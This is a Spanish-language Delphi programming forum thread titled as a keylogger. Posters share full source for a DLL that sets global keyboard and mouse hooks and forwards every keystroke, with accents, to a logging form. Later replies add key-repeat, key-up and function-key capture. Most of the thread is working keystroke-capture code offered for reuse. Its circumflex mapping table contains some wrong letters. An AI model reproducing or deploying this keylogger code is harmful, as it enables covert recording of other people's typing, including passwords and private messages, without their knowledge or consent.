Keylogger con acentos y más..

ecfisa · #1 11-04-2014

Hola FENIXadr.

Lo mismo digo, interesante aporte

Saludos

Luciano_f · #2 30-04-2015

En primer lugar agradezco al colega "FENIXadr"
la excelente código.

* Hizo algunas alerações como está con problema caracteres japonês.

* que sigue a continuación.

Código Delphi [-]library Hook;

uses
  Messages,
  Dialogs,
  Windows;

{$R *.RES}


const
      mapName: PChar = 'k9i:f$d8aR1';
      KeyMsg: Integer = WM_USER+1627;
      MseMsg: Integer = WM_USER+1628;

var
  hKeyHook, hMseHook, hMemFile: THandle;
  Hooked: Boolean = False;
  pFHandle: PHandle = nil;
  Acento1, Acento2, Dieresis, Angulo, ShiftDWN, AltDWN, AltGrDWN : Boolean;
  KeyState1: TKeyBoardState;
  

procedure CloseMap;
begin
  if pFHandle = nil then Exit;
  UnmapViewOfFile(pFHandle);
  CloseHandle(hMemFile);
  pFHandle := nil;
end;


function KeyHookFunc(Code, VirtualKey, KeyStroke: Integer): LRESULT; stdcall;
var
   AryChar : array[1..10] of AnsiChar; // Trocado para não pegar Caracter Japonês
   Count : Integer;

begin
  // I had trouble with NON-syncronus key values in separate thread message queues
  // so I used the GetKeyboardState function
  Result := 0;
  if Code = HC_NOREMOVE then Exit;
  Result := CallNextHookEx(hKeyHook, Code, VirtualKey, KeyStroke);

  if (Code < 0) or (Code <> HC_ACTION) or IsBadCodePtr(pFHandle) then Exit;

  GetKeyboardState(KeyState1);

  case (KeyStroke shr 16) of
    42, 54              : ShiftDWN := True;
    49194, 49206        : ShiftDWN := False;
    8248, 12344         : AltDWN   := True;
    49208               : AltDWN   := False;
  end;

  if AltDWN then exit;     // Aqui liberamos a las Aplicaciones del Hook para no perder los códigos ASCII del teclado Numérico.
  
  if GetKeyState(VK_LMENU) = 1 then
    AltGrDWN := True;

  if ((KeyStroke and (1 shl 30)) = 0) then begin  // Aqui eu troquei <> 0  por = 0  para a Hook poder pegar o antes da Aplicação  "Before KeyDown"

    if ShiftDWN then
      KeyState1[VK_SHIFT] := 128     // Simulamos SHIFT presionado para que no demore una tecla en activarse
    else
      KeyState1[VK_SHIFT] := 0;       // Simulamos SHIFT soltado para que no demore una tecla en desactivarse

    if AltGrDWN then
      KeyState1[VK_LMENU] := 128     // Simulamos ALTGR presionado para que no demore una tecla en activarse
    else
      KeyState1[VK_LMENU] := 0;       // Simulamos ALTGR soltado para que no demore una tecla en desactivarse


    if not AltDWN then
      KeyState1[VK_RMENU] := 0;
    

    Count := ToAscii(VirtualKey, KeyStroke, KeyState1, @AryChar[1], 0);
    ToAscii(VirtualKey, KeyStroke, KeyState1, @AryChar[1], 0);              // esto es para que las aplicaciones no pierdan los acentos. (Raro no?)

    case Count of
      1 :
        begin
          if Acento1 then
          begin
            Acento1 := false;
            case AryChar[1] of
              ' ' : AryChar[1] := '´';
              'a' : AryChar[1] := 'á';
              'e' : AryChar[1] := 'é';
              'i' : AryChar[1] := 'í';
              'o' : AryChar[1] := 'ó';
              'u' : AryChar[1] := 'ú';

              'A' : AryChar[1] := 'Á';
              'E' : AryChar[1] := 'É';
              'I' : AryChar[1] := 'Í';
              'O' : AryChar[1] := 'Ó';
              'U' : AryChar[1] := 'Ú';
            end;
          end;

          if Acento2 then
          begin
            Acento2 := false;
            case AryChar[1] of
              ' ' : AryChar[1] := '`';
              'a' : AryChar[1] := 'à';
              'e' : AryChar[1] := 'è';
              'i' : AryChar[1] := 'ì';
              'o' : AryChar[1] := 'ò';
              'u' : AryChar[1] := 'ù';

              'A' : AryChar[1] := 'À';
              'E' : AryChar[1] := 'È';
              'I' : AryChar[1] := 'Ì';
              'O' : AryChar[1] := 'Ò';
              'U' : AryChar[1] := 'Ù';
            end;
          end;

          if Dieresis then
          begin
            Dieresis := False;
            case AryChar[1] of
              ' ' : AryChar[1] := '¨';
              'a' : AryChar[1] := 'ä';
              'e' : AryChar[1] := 'ë';
              'i' : AryChar[1] := 'ï';
              'o' : AryChar[1] := 'ö';
              'u' : AryChar[1] := 'ü';

              'A' : AryChar[1] := 'Ä';
              'E' : AryChar[1] := 'Ë';
              'I' : AryChar[1] := 'Ï';
              'O' : AryChar[1] := 'Ö';
              'U' : AryChar[1] := 'Ü';
            end;
          end;

          if Angulo then
          begin
            Angulo := false;
            case AryChar[1] of
              ' ' : AryChar[1] := '^';
              'a' : AryChar[1] := 'â';
              'e' : AryChar[1] := 'ê';
              'i' : AryChar[1] := 'ê';
              'o' : AryChar[1] := 'î';
              'u' : AryChar[1] := 'ô';

              'A' : AryChar[1] := 'Â';
              'E' : AryChar[1] := 'Ê';
              'I' : AryChar[1] := 'Î';
              'O' : AryChar[1] := 'Ô';
              'U' : AryChar[1] := 'Û';
            end;

          end;          
          PostMessage(pFHandle^, KeyMsg, Ord(AryChar[1]), KeyStroke);
        end;
      2 :
        begin
          case AryChar[1] of
            '´' : Acento1 := true;
            '`' : Acento2 := true;
            '¨' : Dieresis := true;
            '^' : Angulo := true;  // no se como se llama entonces le puse Angulo.. si tiene otro nombre me avisan.. 
          end;
        end;
    end;
  end;

end;




function MseHookFunc(Code, mMsg: Integer; var MouseRec: TMOUSEHOOKSTRUCT): Integer; stdcall;
var
    Pos: Integer;
    reVal: SmallInt;
begin
  // to get the message information into 2 Integer values (wParam, lParam), I use the HiWord and LoWord
  Result := 0;
  if Code = HC_NOREMOVE then Exit;
  Result := CallNextHookEx(0, Code, mMsg, Integer(@MouseRec));
  if (Code < 0) or (Code <> HC_ACTION) or IsBadCodePtr(pFHandle) then Exit;

  reVal := MouseRec.pt.x;
  Pos := Word(reVal);
  reVal := MouseRec.pt.y;
  Pos := Pos or (Word(reVal) shl 16); // 2 SmallInt values in the LParam
  mMsg := mMsg or (Integer(MouseRec.dwExtraInfo) shl 16);// 2 Word values in the WParam
  PostMessage(pFHandle^, MseMsg, mMsg, Pos);
end;



// you must include the Forms window Handle in the StartHook
// StartHook is succesfull if it returns Zero
function StartHook(FormHandle: THandle): Integer; export;
begin
  Result := 1;
  if Hooked then Exit;

  if not IsWindow(FormHandle) then
  begin
    Result := 2;
    Exit;
  end;

  hMemFile := CreateFileMapping($FFFFFFFF, // $FFFFFFFF gets a page memory file
  nil, // no security attributes
  PAGE_READWRITE, // read/write access
  0, // size: high 32-bits
  SizeOf(THandle), // size: low 32-bits
  mapName); // name of map object
  pFHandle := MapViewOfFile(hMemFile, FILE_MAP_WRITE, 0, 0, 0);
  if pFHandle = nil then
  begin
    CloseHandle(hMemFile);
    Result := 3;
    Exit;
  end;

  hKeyHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHookFunc, hInstance, 0);
  if hKeyHook = 0 then
  begin
    CloseMap;
    Result := 6;
    Exit;
  end;

  hMseHook := SetWindowsHookEx(WH_MOUSE, @MseHookFunc, hInstance, 0);
  if hMseHook = 0 then
  begin
    CloseMap;
    UnhookWindowsHookEx(hKeyHook);
    Result := 5;
    Exit;
  end;

  Acento1 := False;
  Acento2 := False;
  Dieresis := False;
  Angulo := False;
  Hooked := True;
  pFHandle^ := FormHandle;
  Result := 0;
end;


function StopHook: Boolean; export; // success if true
begin
  if Hooked then
  begin
    Result := UnhookWindowsHookEx(hKeyHook) and UnhookWindowsHookEx(hMseHook);
  end else
    Result := True;

  if Result then
  begin
    CloseMap;
    hKeyHook := 0;
    hMseHook := 0;
    Hooked := False;
  end;
end;



procedure EntryProc(Reason: Cardinal);
begin
  if (Reason = Dll_Process_Detach) then
  begin
    CloseMap;
    if Hooked then
    begin
      UnhookWindowsHookEx(hMseHook);
      UnhookWindowsHookEx(hKeyHook);
    end;
  end;
end;


exports
StartHook, StopHook;


begin
  DLLProc := @EntryProc;
  hMemFile := OpenFileMapping(FILE_MAP_WRITE, False, mapName);
  if hMemFile <> 0 then
    pFHandle := MapViewOfFile(hMemFile, FILE_MAP_WRITE, 0, 0, 0);
end.

Luciano_f · #3 30-04-2015

Personalmente me hice más cambios en el código.

Ahora código consgue llegar precionar la tecla de repetición y mantenga.

Hay distinción entre KeyDown y KeyUp

siguiente

Código Delphi [-]library HookTeclado;

uses
  Messages,
  Dialogs,
  Windows;

{$R *.RES}


const
      mapName: PChar = 'k9i:f$d8aR1';
      KeyMsg: Integer = WM_USER+1627;
      MseMsg: Integer = WM_USER+1628;

var
  hKeyHook, hMseHook, hMemFile: THandle;
  Hooked: Boolean = False;
  pFHandle: PHandle = nil;
  Acento1, Acento2, Dieresis, Angulo, ShiftDWN, AltDWN, AltGrDWN : Boolean;
  KeyState1: TKeyBoardState;
  

procedure CloseMap;
begin
  if pFHandle = nil then Exit;
  UnmapViewOfFile(pFHandle);
  CloseHandle(hMemFile);
  pFHandle := nil;
end;


function KeyHookFunc(Code, VirtualKey, KeyStroke: Integer): LRESULT; stdcall;
var
   AryChar : array[1..10] of AnsiChar; // Trocado para não pegar Caracter Japonês
   Count : Integer;

begin
  // I had trouble with NON-syncronus key values in separate thread message queues
  // so I used the GetKeyboardState function
  Result := 0;
  if Code = HC_NOREMOVE then Exit;
  Result := CallNextHookEx(hKeyHook, Code, VirtualKey, KeyStroke);

  if (Code < 0) or (Code <> HC_ACTION) or IsBadCodePtr(pFHandle) then Exit;

  GetKeyboardState(KeyState1);

  case (KeyStroke shr 16) of
    42, 54              : ShiftDWN := True;
    49194, 49206        : ShiftDWN := False;
    8248, 12344         : AltDWN   := True;
    49208               : AltDWN   := False;
  end;

  if AltDWN then exit;     // Aqui liberamos a las Aplicaciones del Hook para no perder los códigos ASCII del teclado Numérico.
  
  if GetKeyState(VK_LMENU) = 1 then
    AltGrDWN := True;

  if ShiftDWN then
    KeyState1[VK_SHIFT] := 128     // Simulamos SHIFT presionado para que no demore una tecla en activarse
  else
   KeyState1[VK_SHIFT] := 0;       // Simulamos SHIFT soltado para que no demore una tecla en desactivarse

  if AltGrDWN then
    KeyState1[VK_LMENU] := 128     // Simulamos ALTGR presionado para que no demore una tecla en activarse
  else
    KeyState1[VK_LMENU] := 0;       // Simulamos ALTGR soltado para que no demore una tecla en desactivarse

  if not AltDWN then
    KeyState1[VK_RMENU] := 0;

    Count := ToAscii(VirtualKey, KeyStroke, KeyState1, @AryChar[1], 0);
    ToAscii(VirtualKey, KeyStroke, KeyState1, @AryChar[1], 0);              // esto es para que las aplicaciones no pierdan los acentos. (Raro no?)

    case Count of
      1 :
        begin
          if Acento1 then
          begin
            Acento1 := false;
            case AryChar[1] of
              ' ' : AryChar[1] := '´';
              'a' : AryChar[1] := 'á';
              'e' : AryChar[1] := 'é';
              'i' : AryChar[1] := 'í';
              'o' : AryChar[1] := 'ó';
              'u' : AryChar[1] := 'ú';

              'A' : AryChar[1] := 'Á';
              'E' : AryChar[1] := 'É';
              'I' : AryChar[1] := 'Í';
              'O' : AryChar[1] := 'Ó';
              'U' : AryChar[1] := 'Ú';
            end;
          end;

          if Acento2 then
          begin
            Acento2 := false;
            case AryChar[1] of
              ' ' : AryChar[1] := '`';
              'a' : AryChar[1] := 'à';
              'e' : AryChar[1] := 'è';
              'i' : AryChar[1] := 'ì';
              'o' : AryChar[1] := 'ò';
              'u' : AryChar[1] := 'ù';

              'A' : AryChar[1] := 'À';
              'E' : AryChar[1] := 'È';
              'I' : AryChar[1] := 'Ì';
              'O' : AryChar[1] := 'Ò';
              'U' : AryChar[1] := 'Ù';
            end;
          end;

          if Dieresis then
          begin
            Dieresis := False;
            case AryChar[1] of
              ' ' : AryChar[1] := '¨';
              'a' : AryChar[1] := 'ä';
              'e' : AryChar[1] := 'ë';
              'i' : AryChar[1] := 'ï';
              'o' : AryChar[1] := 'ö';
              'u' : AryChar[1] := 'ü';

              'A' : AryChar[1] := 'Ä';
              'E' : AryChar[1] := 'Ë';
              'I' : AryChar[1] := 'Ï';
              'O' : AryChar[1] := 'Ö';
              'U' : AryChar[1] := 'Ü';
            end;
          end;

          if Angulo then
          begin
            Angulo := false;
            case AryChar[1] of
              ' ' : AryChar[1] := '^';
              'a' : AryChar[1] := 'â';
              'e' : AryChar[1] := 'ê';
              'i' : AryChar[1] := 'ê';
              'o' : AryChar[1] := 'î';
              'u' : AryChar[1] := 'ô';

              'A' : AryChar[1] := 'Â';
              'E' : AryChar[1] := 'Ê';
              'I' : AryChar[1] := 'Î';
              'O' : AryChar[1] := 'Ô';
              'U' : AryChar[1] := 'Û';
            end;

          end;          

          SendMessage(pFHandle^, KeyMsg, Ord(AryChar[1]), KeyStroke); // Aqui foi trocado PostMessage por SendMessage para executar Antes da Aplicação
        end;
      2 :
        begin
          case AryChar[1] of
            '´' : Acento1 := true;
            '`' : Acento2 := true;
            '¨' : Dieresis := true;
            '^' : Angulo := true;  // no se como se llama entonces le puse Angulo.. si tiene otro nombre me avisan.. 
          end;
        end;
    end;

end;




function MseHookFunc(Code, mMsg: Integer; var MouseRec: TMOUSEHOOKSTRUCT): Integer; stdcall;
var
    Pos: Integer;
    reVal: SmallInt;
begin
  // to get the message information into 2 Integer values (wParam, lParam), I use the HiWord and LoWord
  Result := 0;
  if Code = HC_NOREMOVE then Exit;
  Result := CallNextHookEx(0, Code, mMsg, Integer(@MouseRec));
  if (Code < 0) or (Code <> HC_ACTION) or IsBadCodePtr(pFHandle) then Exit;

  reVal := MouseRec.pt.x;
  Pos := Word(reVal);
  reVal := MouseRec.pt.y;
  Pos := Pos or (Word(reVal) shl 16); // 2 SmallInt values in the LParam
  mMsg := mMsg or (Integer(MouseRec.dwExtraInfo) shl 16);// 2 Word values in the WParam
  PostMessage(pFHandle^, MseMsg, mMsg, Pos);
end;



// you must include the Forms window Handle in the StartHook
// StartHook is succesfull if it returns Zero
function StartHook(FormHandle: THandle): Integer; export;
begin
  Result := 1;
  if Hooked then Exit;

  if not IsWindow(FormHandle) then
  begin
    Result := 2;
    Exit;
  end;

  hMemFile := CreateFileMapping($FFFFFFFF, // $FFFFFFFF gets a page memory file
  nil, // no security attributes
  PAGE_READWRITE, // read/write access
  0, // size: high 32-bits
  SizeOf(THandle), // size: low 32-bits
  mapName); // name of map object
  pFHandle := MapViewOfFile(hMemFile, FILE_MAP_WRITE, 0, 0, 0);
  if pFHandle = nil then
  begin
    CloseHandle(hMemFile);
    Result := 3;
    Exit;
  end;

  hKeyHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHookFunc, hInstance, 0);
  if hKeyHook = 0 then
  begin
    CloseMap;
    Result := 6;
    Exit;
  end;

  hMseHook := SetWindowsHookEx(WH_MOUSE, @MseHookFunc, hInstance, 0);
  if hMseHook = 0 then
  begin
    CloseMap;
    UnhookWindowsHookEx(hKeyHook);
    Result := 5;
    Exit;
  end;

  Acento1 := False;
  Acento2 := False;
  Dieresis := False;
  Angulo := False;
  Hooked := True;
  pFHandle^ := FormHandle;
  Result := 0;
end;


function StopHook: Boolean; export; // success if true
begin
  if Hooked then
  begin
    Result := UnhookWindowsHookEx(hKeyHook) and UnhookWindowsHookEx(hMseHook);
  end else
    Result := True;

  if Result then
  begin
    CloseMap;
    hKeyHook := 0;
    hMseHook := 0;
    Hooked := False;
  end;
end;



procedure EntryProc(Reason: Cardinal);
begin
  if (Reason = Dll_Process_Detach) then
  begin
    CloseMap;
    if Hooked then
    begin
      UnhookWindowsHookEx(hMseHook);
      UnhookWindowsHookEx(hKeyHook);
    end;
  end;
end;


exports
StartHook, StopHook;


begin
  DLLProc := @EntryProc;
  hMemFile := OpenFileMapping(FILE_MAP_WRITE, False, mapName);
  if hMemFile <> 0 then
    pFHandle := MapViewOfFile(hMemFile, FILE_MAP_WRITE, 0, 0, 0);
end.

Aplication Delphi

Código Delphi [-]procedure TForm1.HookMsgKey(var Msg1: TMessage);
Var Acao : String;
begin
 if ((Msg1.lParam shr 31) and 1) = 1 then Begin
  Acao := 'Soltou';
 End else
 if ((Msg1.lParam shr 30) and 1) = 1 Then Begin
  Acao := 'Repetindo';
 End else Begin
  Acao := 'Precionou';
 End;

 Memo1.lines.Add(Acao + '      ' + Char(Msg1.wParam));

end;

breadagast · #4 26-12-2017

Hola a todos, el código está genial pero no consigo capturar las teclas de Función F1, F2, F3, etc. Sabéis alguno porque??

breadagast · #5 22-01-2018

Hola, me contesto a mi mismo por si a alguien le viene bien.

Para capturar las teclas de función sólo hay que poner el siguiente código:

Código:

 if not AltDWN then
    KeyState1[VK_RMENU] := 0;

if (VirtualKey in [112 .. 123]) then
    begin
      SendMessage(pFHandle^, KeyMsg, VirtualKey, KeyStroke);
    end
    else
    begin
      Count := ToAscii(VirtualKey, KeyStroke, KeyState1, @AryChar[1], 0);
      ToAscii(VirtualKey, KeyStroke, KeyState1, @AryChar[1], 0);    
      ...

Herramientas	Buscar en Tema
Mostrar Versión Imprimible Enviar por Correo	Buscar en Tema: Búsqueda Avanzada
Desplegado
Cambiar a Modo Lineal Modo Híbrido Cambiar a Modo Hilado

Temas Similares
Tema	Autor	Foro	Respuestas	Último mensaje
keylogger?	unko!	Internet	9	12-04-2014 01:02:06
keylogger en delphi	cmm07	Varios	2	10-04-2009 02:33:11
Haciendo mi propio keylogger	jorgegetafe	Varios	7	06-11-2007 01:44:23
Construir un KEYLOGGER	SPARROW	Varios	3	18-02-2004 14:27:00